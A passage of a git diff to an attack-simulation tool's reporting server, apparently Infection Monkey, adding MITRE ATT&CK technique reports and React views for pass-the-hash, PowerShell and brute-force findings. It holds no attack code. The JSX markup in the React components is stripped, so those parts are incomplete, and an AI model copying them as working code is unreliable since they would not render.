{'$ne': ''}}]}}} + + # Gets data about successful PTH logins + query = [{'$match': {'telem_category': 'exploit', + 'data.attempts': {'$not': {'$size': 0}, + '$elemMatch': {'$and': [{'$or': [{'ntlm_hash': {'$ne': ''}}, + {'lm_hash': {'$ne': ''}}]}, + {'result': True}]}}}}, + {'$project': {'_id': 0, + 'machine': '$data.machine', + 'info': '$data.info', + 'attempt_cnt': {'$size': '$data.attempts'}, + 'attempts': {'$filter': {'input': '$data.attempts', + 'as': 'attempt', + 'cond': {'$eq': ['$$attempt.result', True]}}}}}] + + @staticmethod + def get_report_data(): + data = {'title': T1075.technique_title()} + successful_logins = list(mongo.db.telemetry.aggregate(T1075.query)) + data.update({'successful_logins': successful_logins}) + if successful_logins: + status = ScanStatus.USED + elif mongo.db.telemetry.count_documents(T1075.login_attempt_query): + status = ScanStatus.SCANNED + else: + status = ScanStatus.UNSCANNED + data.update(T1075.get_message_and_status(status)) + return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1086.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1086.py new file mode 100644 index 000000000..4114047c5 --- /dev/null +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1086.py @@ -0,0 +1,36 @@ +from monkey_island.cc.services.attack.technique_reports import AttackTechnique +from common.utils.attack_utils import ScanStatus +from monkey_island.cc.database import mongo + +__author__ = "VakarisZ" + + +class T1086(AttackTechnique): + + tech_id = "T1086" + unscanned_msg = "Monkey didn't run powershell." + scanned_msg = "" + used_msg = "Monkey successfully ran powershell commands on exploited machines in the network." + + query = [{'$match': {'telem_category': 'exploit', + 'data.info.executed_cmds': {'$elemMatch': {'powershell': True}}}}, + {'$project': {'machine': '$data.machine', + 'info': '$data.info'}}, + {'$project': {'_id': 0, + 'machine': 1, + 'info.finished': 1, + 'info.executed_cmds': {'$filter': {'input': '$info.executed_cmds', + 'as': 'command', + 'cond': {'$eq': ['$$command.powershell', True]}}}}}, + {'$group': {'_id': '$machine', 'data': {'$push': '$$ROOT'}}}] + + @staticmethod + def get_report_data(): + cmd_data = list(mongo.db.telemetry.aggregate(T1086.query)) + data = {'title': T1086.technique_title(), 'cmds': cmd_data} + if cmd_data: + status = ScanStatus.USED + else: + status = ScanStatus.UNSCANNED + data.update(T1086.get_message_and_status(status)) + return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py index 7fe5ac90f..60ae14c0b 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py @@ -13,7 +13,7 @@ class T1110(AttackTechnique): used_msg = "Monkey successfully used brute force in the network." # Gets data about brute force attempts - query = [{'$match': {'telem_type': 'exploit', + query = [{'$match': {'telem_category': 'exploit', 'data.attempts': {'$not': {'$size': 0}}}}, {'$project': {'_id': 0, 'machine': '$data.machine', @@ -35,16 +35,16 @@ class T1110(AttackTechnique): result['successful_creds'].append(T1110.parse_creds(attempt)) if succeeded: - data = T1110.get_message_and_status(T1110, ScanStatus.USED) + status = ScanStatus.USED elif attempts: - data = T1110.get_message_and_status(T1110, ScanStatus.SCANNED) + status = ScanStatus.SCANNED else: - data = T1110.get_message_and_status(T1110, ScanStatus.UNSCANNED) - + status = ScanStatus.UNSCANNED + data = T1110.get_message_and_status(status) # Remove data with no successful brute force attempts attempts = [attempt for attempt in attempts if attempt['attempts']] - data.update({'services': attempts, 'title': T1110.technique_title(T1110.tech_id)}) + data.update({'services': attempts, 'title': T1110.technique_title()}) return data @staticmethod diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1197.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1197.py index 7146fde8b..b6bd316af 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1197.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1197.py @@ -12,14 +12,16 @@ class T1197(AttackTechnique): @staticmethod def get_report_data(): - data = T1197.get_tech_base_data(T1197) - bits_results = mongo.db.telemetry.aggregate([{'$match': {'telem_catagory': 'attack', 'data.technique': T1197.tech_id}}, - {'$group': {'_id': {'ip_addr': '$data.machine.ip_addr', 'usage': '$data.usage'}, - 'ip_addr': {'$first': '$data.machine.ip_addr'}, - 'domain_name': {'$first': '$data.machine.domain_name'}, - 'usage': {'$first': '$data.usage'}, - 'time': {'$first': '$timestamp'}} - }]) + data = T1197.get_tech_base_data() + bits_results = mongo.db.telemetry.aggregate([{'$match': {'telem_category': 'attack', + 'data.technique': T1197.tech_id}}, + {'$group': {'_id': {'ip_addr': '$data.machine.ip_addr', + 'usage': '$data.usage'}, + 'ip_addr': {'$first': '$data.machine.ip_addr'}, + 'domain_name': {'$first': '$data.machine.domain_name'}, + 'usage': {'$first': '$data.usage'}, + 'time': {'$first': '$timestamp'}} + }]) bits_results = list(bits_results) data.update({'bits_jobs': bits_results}) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py index 677495c10..6e89bc6ab 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py @@ -14,21 +14,22 @@ class T1210(AttackTechnique): @staticmethod def get_report_data(): - data = {'title': T1210.technique_title(T1210.tech_id)} + data = {'title': T1210.technique_title()} scanned_services = T1210.get_scanned_services() exploited_services = T1210.get_exploited_services() if exploited_services: - data.update({'status': ScanStatus.USED.name, 'message': T1210.used_msg}) + status = ScanStatus.USED elif scanned_services: - data.update({'status': ScanStatus.SCANNED.name, 'message': T1210.scanned_msg}) + status = ScanStatus.SCANNED else: - data.update({'status': ScanStatus.UNSCANNED.name, 'message': T1210.unscanned_msg}) + status = ScanStatus.UNSCANNED + data.update(T1210.get_message_and_status(status)) data.update({'scanned_services': scanned_services, 'exploited_services': exploited_services}) return data @staticmethod def get_scanned_services(): - results = mongo.db.telemetry.aggregate([{'$match': {'telem_catagory': 'scan'}}, + results = mongo.db.telemetry.aggregate([{'$match': {'telem_category': 'scan'}}, {'$sort': {'data.service_count': -1}}, {'$group': { '_id': {'ip_addr': '$data.machine.ip_addr'}, @@ -38,7 +39,7 @@ class T1210(AttackTechnique): @staticmethod def get_exploited_services(): - results = mongo.db.telemetry.aggregate([{'$match': {'telem_catagory': 'exploit', 'data.result': True}}, + results = mongo.db.telemetry.aggregate([{'$match': {'telem_category': 'exploit', 'data.result': True}}, {'$group': { '_id': {'ip_addr': '$data.machine.ip_addr'}, 'service': {'$first': '$data.info'}, diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py b/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py index 1990b61e7..afcd67817 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py @@ -46,52 +46,63 @@ class AttackTechnique(object): """ pass - @staticmethod - def technique_status(technique): + @classmethod + def technique_status(cls): """ Gets the status of a certain attack technique. - :param technique: technique's id. :return: ScanStatus Enum object """ - if mongo.db.telemetry.find_one({'telem_catagory': 'attack', 'data.status': ScanStatus.USED.value, 'data.technique': technique}): + if mongo.db.attack_results.find_one({'telem_category': 'attack', + 'status': ScanStatus.USED.value, + 'technique': cls.tech_id}): return ScanStatus.USED - elif mongo.db.telemetry.find_one({'telem_catagory': 'attack', 'data.status': ScanStatus.SCANNED.value, 'data.technique': technique}): + elif mongo.db.attack_results.find_one({'telem_category': 'attack', + 'status': ScanStatus.SCANNED.value, + 'technique': cls.tech_id}): return ScanStatus.SCANNED else: return ScanStatus.UNSCANNED - @staticmethod - def get_message_and_status(technique, status): - return {'message': technique.get_message_by_status(technique, status), 'status': status.name} - - @staticmethod - def get_message_by_status(technique, status): - if status == ScanStatus.UNSCANNED: - return technique.unscanned_msg - elif status == ScanStatus.SCANNED: - return technique.scanned_msg - else: - return technique.used_msg - - @staticmethod - def technique_title(technique): + @classmethod + def get_message_and_status(cls, status): + """ + Returns a dict with attack technique's message and status. + :param status: Enum type value from common/attack_utils.py + :return: Dict with message and status + """ + return {'message': cls.get_message_by_status(status), 'status': status.name} + + @classmethod + def get_message_by_status(cls, status): + """ + Picks a message to return based on status. + :param status: Enum type value from common/attack_utils.py + :return: message string + """ + if status == ScanStatus.UNSCANNED: + return cls.unscanned_msg + elif status == ScanStatus.SCANNED: + return cls.scanned_msg + else: + return cls.used_msg + + @classmethod + def technique_title(cls): """ - :param technique: Technique's id. E.g. T1110 :return: techniques title. E.g. "T1110 Brute force" """ - return AttackConfig.get_technique(technique)['title'] + return AttackConfig.get_technique(cls.tech_id)['title'] - @staticmethod - def get_tech_base_data(technique): + @classmethod + def get_tech_base_data(cls): """ Gathers basic attack technique data into a dict. - :param technique: Technique's id. E.g. T1110 :return: dict E.g. {'message': 'Brute force used', 'status': 'Used', 'title': 'T1110 Brute force'} """ data = {} - status = AttackTechnique.technique_status(technique.tech_id) - title = AttackTechnique.technique_title(technique.tech_id) + status = cls.technique_status() + title = cls.technique_title() data.update({'status': status.name, 'title': title, - 'message': technique.get_message_by_status(technique, status)}) + 'message': cls.get_message_by_status(status)}) return data diff --git a/monkey/monkey_island/cc/services/config_schema.py b/monkey/monkey_island/cc/services/config_schema.py index 46129266c..4c4df247e 100644 --- a/monkey/monkey_island/cc/services/config_schema.py +++ b/monkey/monkey_island/cc/services/config_schema.py @@ -89,7 +89,7 @@ SCHEMA = { "enum": [ "WebLogicExploiter" ], - "title": "Oracle Web Logic Exploiter" + "title": "WebLogic Exploiter" }, { "type": "string", diff --git a/monkey/monkey_island/cc/services/report.py b/monkey/monkey_island/cc/services/report.py index ee3976886..f4ce81b4f 100644 --- a/monkey/monkey_island/cc/services/report.py +++ b/monkey/monkey_island/cc/services/report.py @@ -172,7 +172,7 @@ class ReportService: PASS_TYPE_DICT = {'password': 'Clear Password', 'lm_hash': 'LM hash', 'ntlm_hash': 'NTLM hash'} creds = [] for telem in mongo.db.telemetry.find( - {'telem_catagory': 'system_info_collection', 'data.credentials': {'$exists': True}}, + {'telem_category': 'system_info_collection', 'data.credentials': {'$exists': True}}, {'data.credentials': 1, 'monkey_guid': 1} ): monkey_creds = telem['data']['credentials'] @@ -200,7 +200,7 @@ class ReportService: """ creds = [] for telem in mongo.db.telemetry.find( - {'telem_catagory': 'system_info_collection', 'data.ssh_info': {'$exists': True}}, + {'telem_category': 'system_info_collection', 'data.ssh_info': {'$exists': True}}, {'data.ssh_info': 1, 'monkey_guid': 1} ): origin = NodeService.get_monkey_by_guid(telem['monkey_guid'])['hostname'] @@ -221,7 +221,7 @@ class ReportService: """ creds = [] for telem in mongo.db.telemetry.find( - {'telem_catagory': 'system_info_collection', 'data.Azure': {'$exists': True}}, + {'telem_category': 'system_info_collection', 'data.Azure': {'$exists': True}}, {'data.Azure': 1, 'monkey_guid': 1} ): azure_users = telem['data']['Azure']['usernames'] @@ -374,7 +374,7 @@ class ReportService: @staticmethod def get_exploits(): exploits = [] - for exploit in mongo.db.telemetry.find({'telem_catagory': 'exploit', 'data.result': True}): + for exploit in mongo.db.telemetry.find({'telem_category': 'exploit', 'data.result': True}): new_exploit = ReportService.process_exploit(exploit) if new_exploit not in exploits: exploits.append(new_exploit) @@ -383,7 +383,7 @@ class ReportService: @staticmethod def get_monkey_subnets(monkey_guid): network_info = mongo.db.telemetry.find_one( - {'telem_catagory': 'system_info_collection', 'monkey_guid': monkey_guid}, + {'telem_category': 'system_info_collection', 'monkey_guid': monkey_guid}, {'data.network_info.networks': 1} ) if network_info is None: @@ -541,7 +541,7 @@ class ReportService: @staticmethod def get_cross_segment_issues(): - scans = mongo.db.telemetry.find({'telem_catagory': 'scan'}, + scans = mongo.db.telemetry.find({'telem_category': 'scan'}, {'monkey_guid': 1, 'data.machine.ip_addr': 1, 'data.machine.services': 1}) cross_segment_issues = [] diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js new file mode 100644 index 000000000..785e4a295 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js @@ -0,0 +1,7 @@ +import React from "react"; + +export function renderMachine(val){ + return ( + {val.ip_addr} {(val.domain_name ? " (".concat(val.domain_name, ")") : "")} + ) +}; diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1003.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1003.js new file mode 100644 index 000000000..d7783714a --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1003.js @@ -0,0 +1,26 @@ +import React from 'react'; +import '../../../styles/Collapse.scss' +import '../../report-components/StolenPasswords' +import StolenPasswordsComponent from "../../report-components/StolenPasswords"; + + +class T1003 extends React.Component { + + constructor(props) { + super(props); + } + + render() { + return ( +
+
{this.props.data.message}
+
+ {this.props.data.status === 'USED' ? + + : ""} +
+ ); + } +} + +export default T1003; diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1059.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1059.js new file mode 100644 index 000000000..57d5bcb2c --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1059.js @@ -0,0 +1,40 @@ +import React from 'react'; +import '../../../styles/Collapse.scss' +import ReactTable from "react-table"; +import { renderMachine } from "./Helpers" + + +class T1059 extends React.Component { + + constructor(props) { + super(props); + } + + static getCommandColumns() { + return ([{ + Header: 'Example commands used', + columns: [ + {Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.data.machine), style: { 'whiteSpace': 'unset'}, width: 160 }, + {Header: 'Approx. Time', id: 'time', accessor: x => x.data.info.finished, style: { 'whiteSpace': 'unset' }}, + {Header: 'Command', id: 'command', accessor: x => x.data.info.executed_cmds.cmd, style: { 'whiteSpace': 'unset' }}, + ] + }])}; + + render() { + return ( +
+
{this.props.data.message}
+
+ {this.props.data.status === 'USED' ? + : ""} +
+ ); + } +} + +export default T1059; diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1075.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1075.js new file mode 100644 index 000000000..13c1e39e2 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1075.js @@ -0,0 +1,49 @@ +import React from 'react'; +import '../../../styles/Collapse.scss' +import ReactTable from "react-table"; +import { renderMachine } from "./Helpers" + + +class T1075 extends React.Component { + + constructor(props) { + super(props); + this.props.data.successful_logins.forEach((login) => this.setLoginHashType(login)) + } + + setLoginHashType(login){ + if(login.attempts[0].ntlm_hash !== ""){ + login.attempts[0].hashType = 'NTLM'; + } else if(login.attempts[0].lm_hash !== ""){ + login.attempts[0].hashType = 'LM'; + } + } + + static getHashColumns() { + return ([{ + columns: [ + {Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine), style: { 'whiteSpace': 'unset' }}, + {Header: 'Service', id: 'service', accessor: x => x.info.display_name, style: { 'whiteSpace': 'unset' }}, + {Header: 'Username', id: 'username', accessor: x => x.attempts[0].user, style: { 'whiteSpace': 'unset' }}, + {Header: 'Hash type', id: 'hash', accessor: x => x.attempts[0].hashType, style: { 'whiteSpace': 'unset' }}, + ] + }])}; + + render() { + return ( +
+
{this.props.data.message}
+
+ {this.props.data.status === 'USED' ? + : ""} +
+ ); + } +} + +export default T1075; diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1086.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1086.js new file mode 100644 index 000000000..d6d22c093 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1086.js @@ -0,0 +1,40 @@ +import React from 'react'; +import '../../../styles/Collapse.scss' +import ReactTable from "react-table"; +import { renderMachine } from "./Helpers" + + +class T1086 extends React.Component { + + constructor(props) { + super(props); + } + + static getPowershellColumns() { + return ([{ + Header: 'Example Powershell commands used', + columns: [ + {Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.data[0].machine), style: { 'whiteSpace': 'unset'}, width: 160 }, + {Header: 'Approx. Time', id: 'time', accessor: x => x.data[0].info.finished, style: { 'whiteSpace': 'unset' }}, + {Header: 'Command', id: 'command', accessor: x => x.data[0].info.executed_cmds[0].cmd, style: { 'whiteSpace': 'unset' }}, + ] + }])}; + + render() { + return ( +
+
{this.props.data.message}
+
+ {this.props.data.status === 'USED' ? + : ""} +
+ ); + } +} + +export default T1086; diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1110.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1110.js index 64619ad55..294606d25 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1110.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1110.js @@ -1,6 +1,7 @@ import React from 'react'; import '../../../styles/Collapse.scss' import ReactTable from "react-table"; +import { renderMachine } from "./Helpers" class T1110 extends React.Component { @@ -12,7 +13,7 @@ class T1110 extends React.Component { static getServiceColumns() { return ([{ columns: [ - {Header: 'Machine', id: 'machine', accessor: x => this.renderMachine(x.machine), + {Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine), style: { 'whiteSpace': 'unset' }, width: 160}, {Header: 'Service', id: 'service', accessor: x => x.info.display_name, style: { 'whiteSpace': 'unset' }, width: 100}, {Header: 'Started', id: 'started', accessor: x => x.info.started, style: { 'whiteSpace': 'unset' }}, @@ -23,13 +24,7 @@ class T1110 extends React.Component { }])}; static renderCreds(creds) { - return {creds.map(cred =>
{cred}
)}
- }; - - static renderMachine(val){ - return ( - {val.ip_addr} {(val.domain_name ? " (".concat(val.domain_name, ")") : "")} - ) + return {creds.map(cred =>
{cred}
)}
}; render() { diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1197.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1197.js index cc963dde7..8dc655aee 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1197.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1197.js @@ -1,6 +1,7 @@ import React from 'react'; import '../../../styles/Collapse.scss' import ReactTable from "react-table"; +import { renderMachine } from "./Helpers" class T1210 extends React.Component { @@ -8,7 +9,7 @@ class T1210 extends React.Component { constructor(props) { super(props); this.columns = [ {Header: 'Machine', - id: 'machine', accessor: x => T1210.renderMachine(x), + id: 'machine', accessor: x => renderMachine(x), style: { 'whiteSpace': 'unset' }, width: 200}, {Header: 'Time', @@ -21,12 +22,6 @@ class T1210 extends React.Component { ] } - static renderMachine(val){ - return ( - {val.ip_addr} {(val.domain_name ? " (".concat(val.domain_name, ")") : "")} - ) - }; - renderExploitedMachines(){ if (this.props.data.bits_jobs.length === 0){ return (
) diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1210.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1210.js index 5820d25d0..1b3daa86c 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1210.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1210.js @@ -1,6 +1,7 @@ import React from 'react'; import '../../../styles/Collapse.scss' import ReactTable from "react-table"; +import { renderMachine } from "./Helpers" class T1210 extends React.Component { @@ -12,7 +13,7 @@ class T1210 extends React.Component { static getScanColumns() { return ([{ columns: [ - {Header: 'Machine', id: 'machine', accessor: x => this.renderMachine(x.machine), + {Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine), style: { 'whiteSpace': 'unset' }, width: 200}, {Header: 'Time', id: 'time', accessor: x => x.time, style: { 'whiteSpace': 'unset' }, width: 170}, {Header: 'Port', id: 'port', accessor: x =>x.service.port, style: { 'whiteSpace': 'unset' }}, @@ -23,7 +24,7 @@ class T1210 extends React.Component { static getExploitColumns() { return ([{ columns: [ - {Header: 'Machine', id: 'machine', accessor: x => this.renderMachine(x.machine), + {Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine), style: { 'whiteSpace': 'unset' }, width: 200}, {Header: 'Time', id: 'time', accessor: x => x.time, style: { 'whiteSpace': 'unset' }, width: 170}, {Header: 'Port/url', id: 'port', accessor: x =>this.renderEndpoint(x.service), style: { 'whiteSpace': 'unset' }}, @@ -31,12 +32,6 @@ class T1210 extends React.Component { ] }])}; - static renderMachine(val){ - return ( - {val.ip_addr} {(val.domain_name ? " (".concat(val.domain_name, ")") : "")} - ) - }; - static renderEndpoint(val){ return ( {(val.vulnerable_urls.length !== 0 ? val.vulnerable_urls[0] : val.vulnerable_ports[0])} diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js index 72aeca574..4d1f6d4dd 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -343,9 +343,7 @@ class ReportPageComponent extends AuthComponent { href="https://cwiki.apache.org/confluence/display/WW/S2-045"> CVE-2017-5638) : null } {this.state.report.overview.issues[this.Issue.WEBLOGIC] ? -
  • Oracle WebLogic servers are vulnerable to remote code execution. ( - CVE-2017-10271)
  • : null } +
  • Oracle WebLogic servers are susceptible to a remote code execution vulnerability.
  • : null } {this.state.report.overview.issues[this.Issue.HADOOP] ?
  • Hadoop/Yarn servers are vulnerable to remote code execution.
  • : null } {this.state.report.overview.issues[this.Issue.PTH_CRIT_SERVICES_ACCESS] ? @@ -520,7 +518,7 @@ class ReportPageComponent extends AuthComponent { This report shows information about ATT&CK techniques used by Infection Monkey.

    - +

    ) @@ -889,16 +887,15 @@ class ReportPageComponent extends AuthComponent { generateWebLogicIssue(issue) { return (
  • - Install Oracle - critical patch updates. Or update to the latest version. Vulnerable versions are - 10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 and 12.2.1.2.0. + Update Oracle WebLogic server to the latest supported version. Oracle WebLogic server at {issue.machine} ({issue.ip_address}) is vulnerable to remote code execution attack. + className="label label-info" style={{margin: '2px'}}>{issue.ip_address}) is vulnerable to one of remote code execution attacks.
    - The attack was made possible due to incorrect permission assignment in Oracle Fusion Middleware - (subcomponent: WLS Security). + The attack was made possible due to one of the following vulnerabilities: + CVE-2017-10271 or + CVE-2019-2725
  • ); diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js index 19a7bb7c6..87f6f0a38 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js @@ -2,17 +2,25 @@ import React from 'react'; import {Col} from 'react-bootstrap'; import {ReactiveGraph} from 'components/reactive-graph/ReactiveGraph'; import {edgeGroupToColor, options} from 'components/map/MapOptions'; +import '../../styles/Collapse.scss'; import AuthComponent from '../AuthComponent'; import Collapse from '@kunukn/react-collapse'; import T1210 from '../attack/techniques/T1210'; import T1197 from '../attack/techniques/T1197'; import T1110 from '../attack/techniques/T1110'; -import '../../styles/Collapse.scss' +import T1075 from "../attack/techniques/T1075"; +import T1003 from "../attack/techniques/T1003"; +import T1059 from "../attack/techniques/T1059"; +import T1086 from "../attack/techniques/T1086"; const tech_components = { 'T1210': T1210, 'T1197': T1197, - 'T1110': T1110 + 'T1110': T1110, + 'T1075': T1075, + 'T1003': T1003, + 'T1059': T1059, + 'T1086': T1086 }; const classNames = require('classnames'); @@ -99,7 +107,7 @@ class AttackReportPageComponent extends AuthComponent { const TechniqueComponent = tech_components[technique]; return (
    - +
    ); }